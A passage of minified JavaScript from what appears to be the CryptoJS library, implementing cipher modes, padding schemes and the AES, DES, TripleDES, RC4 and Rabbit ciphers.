e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] 